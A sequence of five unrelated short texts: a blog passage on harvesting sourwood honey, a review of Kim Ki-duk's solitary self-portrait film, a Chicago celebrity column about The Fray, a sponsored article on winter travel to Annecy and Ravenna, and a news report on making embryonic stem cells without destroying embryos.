The extractor is a giant drum that contains a basket that holds the frames vertically within, so that they sit radially from the center point. A motor turns the basket inside the drum, and the idea is to use centrifugal force to sling the honey out of the comb. Pat told us that old-timers call this device (which used to be hand-cranked!) a "honeyslinger."
Avril's job was to run the extractor. Once we had loaded it full of frames, she'd start the motor turning slowly, then gradually crank it up until the drum was shaking with speed. I opened a tap at the bottom of the drum to allow the extracted honey to drain into a bucket.
The just-extracted honey was full of bee-parts, leaves, and other bits of nature that has found itself fixed in the gluey gold. So as it drained out of the extractor, Pat sent it through several layers of filters to catch the non-honey stuff.
Another tap on the bucket allowed Pat to fill the one-pound jars. Avril capped each one, and I wiped off any residual stickiness before placing the jars into a case. All told, Pat harvested honey from nine full hives this year.
Then we removed our sticky shoes (honeyslinging is a messy job!), washed our gooey hands, and sat down to label each jar. That's when Patrick surprised us. He'd had a special label made up just for Avril, with her name. Because she had seen the process through from the very beginning last year, he said, this was her honey. Avril and I each left with a case of honey of our own — hers with her own special label!
A word about Pat's honey: his bees gather the nectar of the sourwood tree, which only grows in sufficient quantities to produce honey in the southern Appalachians. The smooth flavor of sourwood honey is as prized as the famous Tupelo honey, and like Tupelo, sourwood does not crystallize. Avril and I (and indeed, my whole family) have been completely spoiled by the flavor of sourwood. I use it daily in my coffee; have mixed it in ice cream, salad dressings, and marinades; drizzled it on a big hunk of fresh homemade bread. Most other honeys simply are inferior.
And sourwood honey is part of Slow Food's Ark of Taste, meaning that it is considered a "heritage" food—unique in flavor, sustainably produced by methods handed down over many generations, in danger of disappearing. The ranks of sourwood honey producers are dwindling, and Pat is keeping an important tradition alive. I remember as a child visiting Mr. Neville, a beekeeper in Rabun County, to buy his sourwood honey. After Mr. Neville died, I found out during our extraction party, Pat acquired much of his equipment.
Now that I, too, am an apiary apprentice of Patrick's, I have plans to install a couple of hives in my own backyard in the next few years (I'm still learning first!). But in Decatur, I will never be able to achieve the flavor of the sourwood I so treasure.
I brought home an extra case or two of Mr. Pat's sourwood honey and am selling it for him for $6 (plus shipping, if needed) a pound. Contact me if you are interested in purchasing some. And in case you need more persuading, here is a little video testimonial Avril and I filmed.

Dir: Kim Ki-duk. Korea. 2011. 100mins
This, without any doubt, is the ultimate "film d'auteur" ever made. Kim Ki-duk's one-man astounding performance- there is nothing in this film he doesn't do and there is no one else except him - is a thought-provoking tour de force, the far out experiment of a filmmaker in crisis, asking himself crucial questions about himself, his profession and his past achievements, in a manner that will most likely put off general film audiences but should reach every film school and festivals in the world, its topics to be discussed by anyone who would like to dedicate his or her life to making or even watching movies.
Whether everything Kim Ki-duk says in this film is a spontaneous, sincere reflection of a troubled conscience or a carefully thought out script, one will probably never know.
Doing it justice in a short review is almost impossible, not because Kim Ki-duk is providing revolutionary insights into his line of work, but because he raises numerous issues that are too often ignored as irrelevant or pedantic by professionals who should know better. Since 2008, when one of his actresses almost lost her life in the course of shooting Dream, an incident for which he blames his own negligence, Kim Ki-duk stopped making films, retreated in the company of a cat to a lonely house on the hill, on the outskirts of an unspecified city.
There, in complete solitude, he started mulling over his entire existence, the films he made, the themes he had chosen for them, about his own life but also about life and death in general, about violence, friendship, loyalty, treason, about his ethical choice in films but outside them as well.
With no one to talk to, he acquired a Canon digital camera, started shooting not only his daily activities but also turning it on himself, with one Kim Ki-duk is asking questions, like "why did you drop everything and chose this hermit's life" and then has the other Kim Ki-duk answering in a long, painful soliloquy, detailing all his doubts, fears, disappointments, personal and professional, and the adding a third Kim Ki-duk, who follows the conversation between the two others on a monitor, with a sort of doubtful look on his face.
One might even add yet another participant in this one man conversation, Kim Ki-duk's shadow, whose questions prompt the filmmaker to dig even further on his introspective journey. The film's title is the name of the song he renders in a hoarse cry, as if wrenched out of his own soul into the camera, poetically expressing his profound disarray, his feeling that life is a series of hills you climb and then descend, a never ending cycle which governs our entire existence.
Unsurprisingly, the film ends with Kim Ki-duk departing from everything that represented his previous work before embarking on a new film career, since filmmaking is definitely the one thing he wants to do. He is actually revisiting his past and symbolically emptying his revolver into it, after which he watches that most representative philosophical cycle of his career, Spring, Summer, Autumn, Winter… and Spring on his TV monitor.
Even in such rudimentary conditions, one can't ignore Kim Ki-duk's gift for colour compositions, whether he shoots his pots and pans or his working tools, and just in case anyone forgets, the posters of his films keep fresh the memory of his past work while the early paintings he did in the South of France are very much in evidence at the end of the film.
Whether everything Kim Ki-duk says in this film is a spontaneous, sincere reflection of a troubled conscience or a carefully thought out script, one will probably never know. However, there is no doubt that the questions are perfectly valid and need to be addressed by anyone who considers himself a conscientious artist. As for the new direction of his career, better wait for his next film.

The Fray's Isaac Slade said filming the music video for "You Found Me" on the streets of Chicago was "really, really surreal," but the 30-year-old singer admitted Chicago was not the piano rock band's first choice.
"To be honest, our first pick was downtown Denver," Slade told me. "We really wanted to shoot it in our hometown. But the (Democratic National Convention) was going on."
The video for "You Found Me" -- the first single off of The Fray's self-titled 2009 album -- features the band performing on a bridge off of lower Wacker Drive. The band rented a taxi and CTA bus for the shoot.
"We shot all night," Slade said. "We started around dinner time and shot until sunrise and basically took over the street. We had a lot of the ('Dark Knight') crew members. All of them wore their Batman shirts to show us how much cooler they were. I was like 'I get it -- (director) Christopher Nolan is much cooler than me.'"
Heads up: "Lost Without U" singer Robin Thicke will perform at The Mid Monday to promote his new album, "Love After War." … The Cubs' Kerry Wood and Marlon Byrd are expected to attend the private screening of "Alvin and the Chipmunks: Chipwrecked," hosted by the Bears' Charles Tillman, at ShowPlace Icon Tuesday. The screening will benefit the Charles Tillman Cornerstone Foundation. … "Malcolm In The Middle" star-turned-DJ Chris Masterson will spin at the Hard Rock Hotel's "A Starry New Year's Eve" party. Click here for tickets.
On the record: "People have pitched many things over the years. In particular, they have kept wanting to remake the movie. But I think you only remake bad movies. Why would you want to remake a movie that has endured for more than 25 years?" – "A Christmas Story" star Peter Billingsley in an interview with the Tribune.
Sightings: The Bulls' Derrick Rose took in DePaul's game against Wisconsin-Milwaukee at the Allstate Arena Monday. … Florence + The Machine band members stayed at The Wit hotel Sunday while in town for their show at Chicago Theatre. You can read the Tribune's review of their show by clicking here. … The Kansas City Chief's Tyler Palko and general manager Scott Pioli had dinner at The Florentine in the JW Marriott Saturday.

(BPT) – Traveling Europe may seem like a distant dream; tourists inundate cities during peak season, driving prices up. But your European dreams are attainable – if you travel during winter months. Europe can be much more affordable in winter and the quiet cities offer a more intimate and authentic experience.
During the winter months, cheaper flights and discounted hotel rooms are easier on your budget. The Michelin Must See guides, such as Michelin's Most Famous Places Italy and France editions, will help you gather all the details necessary to plan your intimate European getaway even in the depths of winter. Colder weather also means indulging in the decadent cuisine and bold wines, so cozying up in a picturesque café won't be unseasonable.
If you are looking for a low-key getaway with all the culture and luxury that the region offers, consider visiting two of Europe's most breathtaking cities in winter. Each offers a rich history to feed the mind and lavish sights that will arouse your psyche.
Annecy, France
Situated just north of the French Alps, Annecy offers the perfect backdrop for an ethereal French adventure. Surrounded by a lake, river and mountains, Annecy has quintessential French charm. The old town is speckled with colorful markets, arcaded architecture and inviting cafes that will transport you into a French dream world.
"Annecy is one of my favorite places in France," says Michelin editorial director, Cynthia Ochterbeck. "A great way to get there is to fly directly to Geneva, Switzerland, as it is not far away. Then rent a car, and make your way south. That way you can enjoy the beauty of Annecy as well as get out in the Alps for some breathtaking drives."
From the old town, the River Thiou runs into Lake Annecy, which offers stunning views. Take a stroll or ride around the edge of the lake via the Avenue d'Albigny. While the boats may be out of the lake for the winter, there is no reason to miss the beautiful Chateau d'Annecy. And if you are traveling with a special someone, steal a kiss on the middle of the Pont des Amours.
Ravenna, Italy
If a cold wind brings in freezing temperatures, take the opportunity to view some on the most beautiful Basilicas and mausoleums that the city has to offer. The warm gold and shimmering jewel tones will quickly warm your senses. Let the intricate mosaics tell the story of the city with their striking patterns, colors and rich symbolism. Don't miss those in the Basillica di San Vitale, which is an architectural piece of art itself. You will feel as though you are royalty as you walk in awe through the ornate structure filled with dazzling carved Byzantine capitals, frescos and mosaics. These beautiful works of art fleck the city, telling of a time when the city was the capital of the Western Empire.
If you cannot imagine a trip to Europe without making a stop in one of the landmark cities, visit the beautiful island city of Venice after your stay in Ravenna. As the temperatures drop, the major sites offer photo opportunities free of fellow tourists. Crowds and prices will spike during Christmas and again during the festival of Carnevale, so avoid those times if a serene, budget-friendly vacation is your objective.
Once you return from your vacation, you will be eager to discover all the other areas of the world that offer beautiful winter escapes with great deals.

Scientists reported Thursday that for the first time they have made human embryonic stem cells without destroying embryos, a development that the government's top stem cell official said would make the controversial research eligible for federal funding.
Story Landis, who chairs the National Institute of Health's stem cell task force, said that with certain safeguards, the new method appeared to comply with federal restrictions that have largely cut scientists off from the $28 billion the government spends on medical research each year.
Federal law prohibits the National Institutes of Health from paying for experiments that place human embryos at risk of injury or death, and spending on human embryonic stem cell research is restricted to projects involving a handful of cell lines that were created before August 2001.
Researchers at Advanced Cell Technology in Worcester, Mass., created four stem cell lines out of individual cells plucked from 3-day-old embryos, which continued to develop normally after the procedure. The method was described in the online edition of the journal Cell Stem Cell.
The removal of a single cell from a young embryo is done thousands of times a year in the U.S. by fertility laboratories to screen embryos for genetic diseases.
Dr. Robert Lanza, Advanced Cell Technology's chief scientific officer, said researchers could piggyback on the procedure by allowing the removed cell to divide in a laboratory dish. Then, with the consent of patients, one copy could be used for genetic screening and the other to make stem cells.
Under those circumstances, the research "should be permissible under the Bush policy," said Russell Korobkin, a stem cell expert at the UCLA School of Law. "The NIH should not decline to fund this."
Though the technique spares embryos, it still raises ethical concerns.
The Rev. Tadeusz Pacholczyk, an ethicist at the National Catholic Bioethics Center in Philadelphia, said that removing a single cell from an embryo turns it into "a starting source for harvestable raw materials, in a gesture that reduces young humans to commodities."
And because the single embryonic cell can be grown into stem cells, some scientists and ethicists wondered whether the cell itself has the potential to become a whole new embryo.
"It would be hard to rule out," said Martin Pera, director of the Center for Stem Cell and Regenerative Medicine at USC.
New optimism
But for scientists who have struggled under federal restrictions, the technique has injected a sense of optimism that there may soon be a break in the political logjam that scientists blame for stalling progress in the field.
After all, the idea of producing stem cells by taking a single cell from an embryo was suggested by the President's Council on Bioethics in a 2005 white paper that examined ways to make the valued cell lines without creating, harming or destroying embryos.
"The president's own bioethics advisory council suggested this approach," said Sean Morrison, director of the University of Michigan Center for Stem Cell Biology, who was not involved in the study. "The administration has a responsibility to now support it."
Michigan is one of at least nine states where it is illegal to derive new human embryonic stem cell lines using traditional methods, even with private funding. Morrison said the new method appears to comply with Michigan law.
The study puts the finishing touches on a highly touted experiment 19 months ago that demonstrated the feasibility of the process but did not actually preserve any embryos, largely for practical reasons.
The approach relies on culling individual embryonic cells using a biopsy technique known as pre-implantation genetic diagnosis, or PGD. About 5,000 couples in the U.S. opt for PGD each year, according to the Society for Assisted Reproductive Technology.
In late 2005, Lanza demonstrated that the technique was possible in mice. The donor embryos were implanted into surrogate mothers and resulted in live births 49% of the time, virtually the same as for intact embryos.
The following year, Lanza's team showed that a single cell taken from an early-stage human embryo could be grown into a stem cell line. To maximize their chances of success, they used all of the cells, called blastomeres, from the donor embryos and therefore couldn't track whether their development would have been hampered by the biopsy.
In the latest study, the researchers used 41 embryos that were frozen by fertility clinics. They thawed them and prompted them to grow to the eight-cell stage, then used a tiny glass pipette to remove one or two blastomeres. Most of the donor embryos continued to develop normally for two more days before they were refrozen.
The individual cells were grown in dishes and surrounded by human embryonic stem cells and other compounds that induced them to develop into embryonic stem cells.
The scientists created four cell lines that were able to grow into all the main tissue types in the body, including neurons and beating heart cells.
Colleagues at UC San Francisco repeated the experiment with two more embryos, but they did not use established stem cells to help the blastomeres grow. They produced a stem cell line that didn't involve any materials derived from dismantled embryos.
There is a potential flaw with the technique: Even the delicate removal of one cell could place an embryo's health at risk.
"How do you demonstrate that the embryo was not harmed?" Landis said. "Right there, you have a significant problem."
Protecting embryo health
The ideal experiment -- in which embryos that have been biopsied to make stem cells are implanted in surrogates so that the babies can be studied for medical problems -- is impossible to conduct for health and ethical reasons.
But Lanza said there is a straightforward solution.
To avoid potential risk to embryos, scientists could piggyback on PGD biopsies that clinics are performing anyway, he said. After the blastomere is removed, it could be nurtured in a dish for about 12 hours until it divides. Then one cell could be used for genetic screening and the other would be available for research.
Landis agreed that stem cells derived in this manner would appear to meet the federal standards.
Lanza said he believed that the method was safe enough to use on spare embryos from fertility clinics and still qualify for federal funding. In his experiments, 80% to 85% of the donor embryos developed to the stage where they could be implanted in a uterus -- a higher rate than at fertility clinics.
"Any clinic would be thrilled with 85%," said Dr. Mark Hughes, director of the Genesis Genetics Institute in Detroit. "Many clinics would be happy with 60%."
Landis said there was no way to know whether the embryos that didn't survive were lost because of the initial thawing or the subsequent biopsy.
Researchers could get some idea by comparing the pregnancy rates of couples that used PGD to those of couples that opted for standard in vitro fertilization.
A study published last year in the New England Journal of Medicine found that among older women who had IVF, those who also used PGD were about 30% less likely to have a baby. But specialists who perform the diagnostic procedure said that the study was flawed and that an alternative reading of the data showed that genetic screening slightly boosted the odds of having a baby.
The entire exercise of trying to satisfy the Bush policy could become moot after the presidential election if a new administration scraps the restrictions. But Lanza said the researchers couldn't wait.
"We need more lines to study," he said. "We can't afford to waste time."
